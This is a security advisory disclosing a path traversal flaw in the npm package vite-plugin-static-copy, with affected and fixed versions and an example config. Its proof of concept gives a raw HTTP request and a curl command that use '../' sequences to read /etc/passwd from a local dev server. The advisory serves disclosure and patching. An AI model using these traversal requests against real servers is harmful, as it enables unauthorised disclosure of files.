Packages
| Ecosystem | Package | Affected | Fixed in |
|---|---|---|---|
| npm | vite-plugin-static-copy | >= 3.0.0, < 3.1.2 | 3.1.2 |
| npm | vite-plugin-static-copy | >= 0.4.3, < 2.3.2 | 2.3.2 |
Details
As written in the advisory (Markdown source, shown as plain text).
### Summary
Files not included in `src` was possible to access with a crafted request.
### Impact
Only apps explicitly exposing the Vite dev server to the network (using --host or [server.host config option](https://vitejs.dev/config/server-options.html#server-host)) are affected.
Arbitrary files can be disclosed by exploiting this vulnerability.
### Details
Consider the following configuration in used by `vite.config.ts`:
```ts
import { defineConfig } from 'vite'
import { viteStaticCopy } from 'vite-plugin-static-copy'
export default defineConfig({
plugins: [
viteStaticCopy({
targets: [
{
src: "./public/images",
dest: "./",
},
],
}),
],
});
```
The files under the `./public/images` is only expected to be served. Abusing this vulnerability, an attacker can access arbitrary files on the filesystem.
### PoC
I've attached a demo app to showcase the bug.
Run it with `npm run dev` and issue the following HTTP request
```
GET /static/images/../../../../../../../etc/passwd HTTP/1.1
Host: localhost:3001
Content-Length: 2
```
OR
```
curl --path-as-is -i -s -k -X $'GET' \
-H $'Host: localhost:3001' -H $'Content-Length: 2' \
--data-binary $'\x0d\x0a' \
$'http://localhost:3001/static/images/../../../../../../../etc/passwd'
```
Observe that the `/etc/passwd` file is included in the response.
